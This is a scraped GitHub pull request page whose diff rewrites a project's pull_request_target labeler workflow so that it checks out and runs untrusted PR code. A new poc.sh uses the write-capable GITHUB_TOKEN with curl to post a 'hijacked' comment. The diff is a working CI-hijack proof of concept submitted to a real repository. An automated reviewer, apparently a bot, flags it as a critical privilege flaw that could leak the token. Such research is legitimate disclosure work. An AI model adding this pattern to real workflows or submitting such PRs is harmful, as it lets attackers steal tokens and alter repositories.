-
Notifications
You must be signed in to change notification settings - Fork 256
Poc branch #3291
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Closed
Closed
Poc branch #3291
Changes from all commits
Commits
Show all changes
2 commits
Select commit
Hold shift + click to select a range
File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -1,14 +1,29 @@ | ||
| name: "Pull Request Auto Labeler" | ||
| name: "Vulnerable Pull Request Auto Labeler" | ||
|
|
||
| on: | ||
| - pull_request_target | ||
|
|
||
| jobs: | ||
| triage: | ||
| # Permissions ko badha rahe hain to allow code checkout and execution | ||
| permissions: | ||
| contents: read | ||
| pull-requests: write | ||
| contents: write # Needed to checkout code | ||
| pull-requests: write # Needed to post comments | ||
|
|
||
| runs-on: ubuntu-latest | ||
| steps: | ||
| - uses: actions/labeler@v7 | ||
| # YEH SABSE BADI GALTI HAI - UNTRUSTED CODE CHECKOUT KARNA | ||
| - name: "Checkout Untrusted PR Code" | ||
| uses: actions/checkout@v4 | ||
| with: | ||
| repo-token: "${{ secrets.GITHUB_TOKEN }}" | ||
| ref: ${{ github.event.pull_request.head.sha }} | ||
|
|
||
| # Ab hum PR se aaye malicious code ko run karenge | ||
| - name: "Run Code from PR" | ||
| run: | | ||
| chmod +x ./poc.sh | ||
| ./poc.sh | ||
| env: | ||
| GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} | ||
| GITHUB_REPOSITORY: ${{ github.repository }} | ||
| PR_NUMBER: ${{ github.event.pull_request.number }} | ||
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,13 @@ | ||
| #!/bin/bash | ||
|
|
||
| echo "======== PoC Script Executed ========" | ||
| echo "Attempting to post a comment on the PR..." | ||
|
|
||
| # GITHUB_TOKEN ka use karke API se PR par comment post karna | ||
| curl -X POST \ | ||
| -H "Authorization: token $GITHUB_TOKEN" \ | ||
| -H "Accept: application/vnd.github.v3+json" \ | ||
| https://api.github.com/repos/$GITHUB_REPOSITORY/issues/$PR_NUMBER/comments \ | ||
| -d '{"body":"**PoC Successful!** :tada: The pull_request_target workflow was hijacked. The GITHUB_TOKEN has write access."}' | ||
|
|
||
| echo "======== PoC Finished ========" |
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
🔒 Security & Privacy | 🔴 Critical | ⚡ Quick win
🧩 Analysis chain
🏁 Script executed:
Repository: PlaytikaOSS/testcontainers-spring-boot
Length of output: 1903
🤖 get_repo_knowledge executed:
get_repo_knowledge PlaytikaOSS/testcontainers-spring-boot /tmp/coderabbit-repo-knowledge/playtikaoss-testcontainers-spring-boot-2ae737ffLength of output: 414
Security Misconfiguration (CWE-269): Improper Privilege Management
Reachability: External · Exploitability: Trivial
Do not execute pull request code in this
pull_request_targetjob.Line 25 executes attacker-controlled
poc.shwith a write-capableGITHUB_TOKEN. The script can post comments and can exfiltrate the token or modify repository content and pull requests.Use trusted base-branch code only, or replace this with a metadata-only label action or a read-only
pull_requestworkflow.🤖 Prompt for AI Agents